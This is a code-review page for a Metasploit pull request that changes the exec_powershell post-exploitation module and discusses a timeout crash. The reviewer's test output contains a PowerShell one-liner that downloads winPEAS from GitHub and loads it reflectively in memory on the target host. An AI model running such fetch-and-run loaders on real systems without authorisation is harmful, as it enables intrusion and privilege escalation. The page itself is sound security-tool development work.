Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
14 changes: 3 additions & 11 deletions modules/post/windows/manage/powershell/exec_powershell.rb
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The module will fail if Powershell script is taking too long and timeout is not increased:

msf post(windows/manage/powershell/exec_powershell) > run
[*] $url = "https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASany_ofs.exe"
$wp=[System.Reflection.Assembly]::Load([byte[]](Invoke-WebRequest "$url" -UseBasicParsing | Select-Object -ExpandProperty Content)); [winPEAS.Program]::Main("")


[*] Compressing script contents.
[+] Compressed size: 617
[*] Executing the script.
[+] Compressed size: 2608
[-] Post failed: NoMethodError undefined method `strip' for nil:NilClass
[-] Call stack:
[-]   /home/ms/git/metasploit-framework/lib/msf/core/post/windows/powershell.rb:356:in `psh_exec'
[-]   /home/ms/git/metasploit-framework/modules/post/windows/manage/powershell/exec_powershell.rb:120:in `run'
[*] Post module execution completed

Should we adjust this with rescue block, fixing the library where the fail happens (ps_output = ps_output[/#{start}(.*?)#{stop}/m, 1].strip in lib/msf/core/post/windows/powershell.rb - strip is not defined for nil) or leave it up to user?

With timeout increased, works as expected:

msf post(windows/manage/powershell/exec_powershell) > run verbose=true 
[*] $url = "https://github.com/peass-ng/PEASS-ng/releases/latest/download/winPEASany_ofs.exe"
$wp=[System.Reflection.Assembly]::Load([byte[]](Invoke-WebRequest "$url" -UseBasicParsing | Select-Object -ExpandProperty Content)); [winPEAS.Program]::Main("")


[*] Compressing script contents.
[+] Compressed size: 613
[*] Executing the script.
[+] Compressed size: 2592
    
               ((((((((((((((((((((((((((((((((
        (((((((((((((((((((((((((((((((((((((((((((
      ((((((((((((((**********/##########(((((((((((((   
    ((((((((((((********************/#######(((((((((((
    ((((((((******************/@@@@@/****######((((((((((
    ((((((********************@@@@@@@@@@/***,####((((((((((
    (((((********************/@@@@@%@@@@/********##(((((((((
    (((############*********/%@@@@@@@@@/************((((((((
    ((##################(/******/@@@@@/***************((((((
    ((#########################(/**********************(((((
    ((##############################(/*****************(((((
    ((###################################(/************(((((
    ((#######################################(*********(((((
    ((#######(,.***.,(###################(..***.*******(((((
    ((#######*(#####((##################((######/(*****(((((
    ((###################(/***********(##############()(((((
    (((#####################/*******(################)((((((
    ((((############################################)((((((
    (((((##########################################)(((((((
    ((((((########################################)(((((((
    ((((((((####################################)((((((((
    (((((((((#################################)(((((((((
        ((((((((((##########################)(((((((((
              ((((((((((((((((((((((((((((((((((((((
                 ((((((((((((((((((((((((((((((


[SNIPPED]

Original file line number Diff line number Diff line change
Expand Up @@ -59,8 +59,7 @@ def initialize(info = {})
[
OptString.new('SUBSTITUTIONS', [false, 'Script subs in gsub format - original,sub;original,sub' ]),
OptBool.new('DELETE', [false, 'Delete file after execution', false ]),
OptBool.new('DRY_RUN', [false, 'Only show what would be done', false ]),
OptInt.new('TIMEOUT', [false, 'Execution timeout', 15]),
OptBool.new('DRY_RUN', [false, 'Only show what would be done', false ])
]
)
end
Expand Down Expand Up @@ -118,15 +117,8 @@ def run

# Execute the powershell script
print_status('Executing the script.')
cmd_out, running_pids, open_channels = execute_script(script, datastore['TIMEOUT'])

# Write output to log
print_status("Logging output to #{log_file}.")
write_to_log(cmd_out, log_file, eof)

# Clean up
print_status('Cleaning up residual objects and processes.')
clean_up(datastore['SCRIPT'], eof, running_pids, open_channels, env_suffix)
cmd_out = psh_exec(script)
print_status(cmd_out.to_s)

# That's it
print_good('Finished!')
Expand Down